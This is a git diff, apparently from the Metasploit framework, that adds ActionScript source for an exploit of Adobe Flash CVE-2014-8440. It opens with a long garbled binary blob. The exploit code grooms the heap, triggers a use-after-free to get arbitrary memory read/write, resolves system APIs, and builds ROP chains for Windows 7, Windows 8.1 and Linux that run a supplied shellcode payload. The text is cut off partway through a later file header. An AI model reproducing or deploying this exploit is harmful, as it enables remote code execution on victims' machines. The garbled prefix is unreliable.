z%MM;RS)l)@{w}fgdkDS-Ne&$fc(DaH3XzhpQHe0G)qhsaB0L(M3qg#TM(n+$hNOmA z%jEP_;DufkFP{`-SHwZ~e-DTr44yvBq3yC@0IQq+qvTJdPXFKVN7C?PcmKTb;`czY{|Nibqm0O-1q)T9238O)j221SSU*9ve-Vm?W+=I8B7!X2 z=p2bnzgV$dgSAYK%fld+Z9h7ufBx`yGeFlXA^j#XVmo!7#rk~P#7x-s*!e;8Q3C9a|TvgFsIK~L<4~w*L0B<`fWsfITwzS@R`^gdEvD=rJXHjcVG+fAhO$HyR!V*I zCTv{v2+xz{1*1IDZkSN{f~3kfyVVDBMkN>9_Y|BtbqYb2f?4MiACWstN&jfqNSFD6xSiT5Le2@|UuR1VazLR(6X$!V3%zdbmc+LbC#M}|33{Jo=Y;cH{Pk62WKOs zG}SJ_$i~S}7)c*bVuL!v0VfF9_wFNrkR9!K?>vxi@+&*L>32iJYg+qWW&}Gr~R`^#W zX;h^wmjiYKvTZiy{z7fc$Wh4kveKQVzfqngLVl`c?V&?szT*En@0Nv zQPvYUdjG9UE9VFVzRK0}jD+L?&p4W~_*u2gHB%vsSHDDYcnhh{Z)}oF79ekmo3Ro0 zDXf?3Oz}q_(uvapjG8i8sIueJUKUg{bv=%3&VOoa21K9*+&-N)ixqMMhcSn1)jY1} z?Mbu%ZST>9hpdyBJ@bcu84OO4&k%@%)}Nk2wdx%b>r+6Gymg3;7aw?^ADEHfEiWVh+37tx<|Es{ zA4PdnOpG@LRfBsTH)HnGupe_hW^!F>scli@SqJ7=$&;j#bXeg(3ys26Ipo<9Scb3t zaY&t zAvK4~TM|M%=jX!U`lW|&P}n*gW#mp@DH)yof{dbecUbH-I;j?|oN+-5J*&V@S$_s~ zQpfkpOq+JYvF3eP4ZwGKgKDC_yxR`#7f5*0JY(0Ef9i&|6#2}Zlz&4dxAKtT%1QUi zUxQ2Q_%Bf>TW||M9yMC?A-FH0C-Rf)dQkq!L+sljQp9TeSFZXNkqbE2vlgs-su?^px>J1wa-?T2V)j)0Q}d-@ zejiQ-R$?lodNbk8K3xXw;NF}}ziA)v*$n{5b$b?#nci+sWedYJCyvR`HZ<8}#jggM z!U%snwUy&5)!nyJ83!cAY$TB$nYw#;{l`tWOgSYsIGRfF&kxs4SSJxAdVi2XI*waJ z#S>(6D#L2b(@I_H@{UWU@DtT4Ly2RTJYXP2r|7nbQDGfopTLaQ11Z~D`MYOcdvu8$ zrl#9-4@xo4t;M zO|BSQmSAQXe%=b*o6|%Qe+2Q+sZ26Ziv1IS|WHO*@GN ziu70XeNHV7?4U08dK>rfV^Z?Mt=OoqmloktsqCdEJ-WFo&W1w)qYR1(r5otGUAXVy`cva(=j{9@mMrKz8Nwy-595E<~x2{%oxA@Gr9Q#p6Td z_>Kpkywg;CE=~|gym`oVxhDwy85#>|cio}^j#T7n*et>65l<*wQ2v!>l?@t=@8a9! z2p}$fJ>Wk@)4xPj%71clq~%3qtj)l|Zb6fsA5c)H+%}0}jSHnr&t>c2-caSCZ6YwG z6XzF<@M3{1|G$jEcD=qmwe-GV75f0SePgVKCu!vk*AdJ{=^jvaCI0=#wDu2F6t#R_ zJp9$t!0Pf-Nf&rhB*o7;W+Xpd-kSuC{K7X+~Lx*sY9 zu~RF*K}Hd2dnIk{Y2~Nn^i=lGHrKa8-bMGV>nT~$JkCtdUPZC7a|3<1iG zzhDv!lz`th>WRKr97J*GWK8v~0#|Xu&xgE^I*36BYgYc|B*rq9GLLDS#*$o8>3?cZ zbz0PN`t!g?F@Ko;GRa1Z$UHAy6wA}tY8w-{vf+Y)b4xQ)8d)_l7EW3?Jb@^On^S*8 zri~>u%As|cU6N`0&G)LlF+fDoo5{#W982O{9pVdroxqJ!dX46pAP3m-OpIu<`Fwoc zMPYlBw`NAJxjOQ45tHBtJDP?fEgR1^ojn7>a%6ZO;D4NsI5Pq#u4/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// It uses original code from @hdarwin89 for exploitation using ba's and vectors + +package +{ + import flash.utils.* + import flash.display.* + import flash.system.* + import mx.utils.Base64Decoder + + public final class Exploit extends Sprite { + private var shared_ba:ByteArray = null + + private var hole_ba:ByteArray = null; + private var confuse_length_ba:ByteArray = null; + private var fake_ba:ByteArray = null; + private var worker:Worker = null; + + private var byte_array_vector:Vector. = null; + private var byte_array_vector_length:int; + + private var object_vector:Vector. = null; + private var object_vector_length:uint; + + private var ba:ByteArray + private var uv:Vector. + private var corrupted_uv_index:uint = 0 + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + + private var b64:Base64Decoder = new Base64Decoder(); + private var payload:ByteArray + private var platform:String + private var os:String + private var exploiter:Exploiter + + public function Exploit() { + this.object_vector_length = 5770 * 2 + this.byte_array_vector_length = 510 * 2 + + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + this.initialize_worker_and_ba() + if (!this.trigger()) + { + return + } + + var index:uint = search_uint_vector(114, 0x40000000) + if (index == 0xffffffff) { + return + } + + this.uv = this.object_vector[this.corrupted_uv_index] + + for (var i:uint = 0; i < object_vector.length; i++) { + if (i != corrupted_uv_index) + object_vector[i] = null + } + Logger.alert('corrupted :) ' + this.uv.length.toString(16)) + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + final private function initialize_worker_and_ba():Boolean{ + this.ba = new ByteArray() + this.ba.endian = "littleEndian" + this.ba.length = 1024 + this.ba.writeUnsignedInt(0xdeedbeef) + this.ba.position = 0 + + this.shared_ba = new ByteArray() + this.shared_ba.shareable = true + this.shared_ba.endian = Endian.LITTLE_ENDIAN + this.shared_ba.writeUnsignedInt(252536) + this.shared_ba.writeUnsignedInt(16777216) + + this.confuse_length_ba = new ByteArray() + this.confuse_length_ba.length = 0x2000 + this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN + this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA) + + this.fake_ba = new ByteArray(); + this.fake_ba.endian = Endian.LITTLE_ENDIAN; + + this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes); + return true; + } + + final private function trigger():Boolean{ + // Memory massaging + // 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba) + this.fill_byte_array_vector(); + // 2. Clear the marked ByteArray + this.hole_ba.clear(); + + // The shared_ba should be left in "shared" state + this.worker.setSharedProperty("fnfre", this.shared_ba) + this.worker.setSharedProperty("vfhrth", this.confuse_length_ba) + this.worker.setSharedProperty("vfhrth", this.shared_ba) + + // fake_ba *data* is going to fill the space freed from the hole + this.fake_ba.length = 0x2000; + this.fill_byte_array(this.fake_ba, 0xBBBBBBBB); + + // Trigger the vulnerability, if the memory layout is good enough + // the (freed) hole_ba metadata will end being the shared_ba metadata... + this.shared_ba.uncompress() + + // So its size should be 0x2000 + if (this.shared_ba.length != 0x2000) + { + return false + } + + // Free the fake_ba and make holes on the ByteArray's + // allocated on massaging. + this.free_fake_and_make_holes() + + // Fill the holes and the fake_ba data space with + // vectors + this.fill_with_vectors() + + // Hopefully the shared_ba metadata, product of the vulnerability + // at this moment point to the vectors in memory =) it means + // game over. + var pwn_test:uint; + this.shared_ba.position = 0; + pwn_test = this.shared_ba.readUnsignedInt(); + + if (pwn_test == 0xBBBBBBBB) + { + return false + } + + return true; + } + + final private function fill_byte_array(local_ba:ByteArray, value:int):void{ + var i:int; + local_ba.position = 0; + i = 0; + while (i < (local_ba.length / 4)) + { + local_ba.writeInt(value); + i++; + }; + local_ba.position = 0; + } + + final private function fill_byte_array_vector():void{ + var i:int; + var local_ba:ByteArray; + this.byte_array_vector = new Vector.(this.byte_array_vector_length) + + i = 0; + + while (i < this.byte_array_vector_length) + { + local_ba = new ByteArray(); + this.byte_array_vector[i] = local_ba; + local_ba.endian = Endian.LITTLE_ENDIAN; + i++; + } + + var hole_index:int = this.byte_array_vector_length * 4 / 5; + if (hole_index % 2 == 0) + { + hole_index++; + } + + for(i = 0; i < this.byte_array_vector_length; i++) + { + local_ba = this.byte_array_vector[i] as ByteArray + local_ba.length = 0x2000 + this.fill_byte_array(local_ba, 0xCCCCCCCC) + local_ba.writeInt(0xbabefac0) + local_ba.writeInt(0xbabefac1) + local_ba.writeInt(i) + local_ba.writeInt(0xbabefac3) + if (i == hole_index) + { + this.hole_ba = local_ba; + } + } + + return; + } + + final private function free_fake_and_make_holes():void { + var i:int + var clear_ba:ByteArray + var hole_index:int = this.byte_array_vector_length * 4 / 5 + + if (hole_index % 2 == 0) + { + hole_index++; + } + + for (i = 0; i < this.byte_array_vector_length; i++) + { + if (i == hole_index) { + this.fake_ba.clear(); + } else { + if (i % 2 == 1) + { + clear_ba = this.byte_array_vector[i] as ByteArray + this.fill_byte_array(clear_ba, 0xDDDDDDDD) + clear_ba.clear() + } + } + } + return + } + + final private function fill_with_vectors():void { + var i:uint; + var uint_vector:Vector.; + var objects:Vector.; + this.object_vector = new Vector.(this.object_vector_length); + + i = 0 + while (i < this.object_vector_length) + { + this.object_vector[i] = new Vector.() + i++ + } + + i = 0 + while (i < this.object_vector_length) + { + uint_vector = this.object_vector[i] as Vector. + uint_vector.length = 114 + uint_vector[0] = 0xfeedbabe + uint_vector[1] = i + uint_vector[2] = 0xbabeface + i++ + } + } + + // Use the corrupted shared_ba to search and corrupt the uint vector + // Returns the offset to the *length* of the corrupted vector + private function search_uint_vector(old_length:uint, new_length:uint):uint { + this.shared_ba.position = 0 + var i:uint = 0 + var length:uint = 0 + var atom:uint = 0 + var mark_one:uint = 0 + var index:uint = 0 + var mark_two:uint = 0 + while (i < 0x2000) { + length = shared_ba.readUnsignedInt() + if (length == old_length) { + atom = shared_ba.readUnsignedInt() + mark_one = shared_ba.readUnsignedInt() + index = shared_ba.readUnsignedInt() + mark_two = shared_ba.readUnsignedInt() + if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) { + shared_ba.position = i + shared_ba.writeUnsignedInt(new_length) + this.corrupted_uv_index = index + return i; + } + i = i + 16 + } + i = i + 4 + } + return 0xffffffff + } + + // Use the corrupted shared_ba to disclose its own address + private function search_ba_address():uint { + var address:uint = 0 + this.shared_ba.position = 0x14 + address = shared_ba.readUnsignedInt() + if (address == 0) { + address = 0xffffffff + this.shared_ba.position = 8 + var next:uint = shared_ba.readUnsignedInt() + var prior:uint = shared_ba.readUnsignedInt() + if (next - prior == 0x8000) { + address = prior + 0x4000 + } + } else { + address = address - 0x30 + } + + return address + } + + // Use the corrupted uint vector to search an vector with + // interesting objects for info leaking + private function search_object_vector():uint { + var i:uint = 0; + while (i < 0x4000){ + if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) { + return i + 1; + } + i++ + } + return 0xffffffff + } + + // Methods to use the corrupted uint vector + + private function vector_write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > this.uv[0]) { + pos = ((addr - this.uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 + } + + this.uv[pos] = value + } + + private function vector_read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > this.uv[0]) { + pos = ((addr - this.uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1 + } + + return this.uv[pos] + } + + // Methods to use the corrupted byte array for arbitrary reading/writing + + private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void + { + if (addr) ba.position = addr + if (value is String) { + for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else ba.writeUnsignedInt(value) + } + + private function byte_read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + // Methods to search the memory with the corrupted byte array + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80) + var i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + var dll_name:String = ba.readUTFBytes(name.length).toUpperCase(); + if (dll_name == name.toUpperCase()) { + break; + } + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))); + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitByteArray.as b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/ExploitVector.as b/external/source/exploits/CVE-2014-8440/ExploitVector.as new file mode 100755 index 0000000000..79a73238bf --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/ExploitVector.as @@ -0,0 +1,74 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint = 114 + + public function ExploitVector(v:Vector.) + { + uv = v + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Exploiter.as b/external/source/exploits/CVE-2014-8440/Exploiter.as new file mode 100755 index 0000000000..cefc394f5f --- /dev/null +++ b/external/source/exploits/CVE-2014-8440/Exploiter.as @@ -0,0 +1,403 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var op_system:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(10000) + + public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.):void + { + exploit = exp + payload = p + platform = pl + op_system = os + + ev = new ExploitVector(uv) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + Logger.log("[*] byte_array_object: " + byte_array_object.toString(16)) + main = ev.at(pos + 1) - 1 + Logger.log("[*] main: " + main.toString(16)) + stack_object = ev.at(pos + 2) - 1 + Logger.log("[*] stack_object: " + stack_object.toString(16)) + payload_space_object = ev.at(pos + 3) - 1 + Logger.log("[*] payload_space_object: " + payload_space_object.toString(16)) + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + if (op_system == "Windows 8.1") { + do_rop_windows8() + } else if (op_system == "Windows 7") { + do_rop_windows() + } else { + return + } + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-8440/Logger.as b/external/source/exploits/CVE-2014-8440/Logger.as new file mode 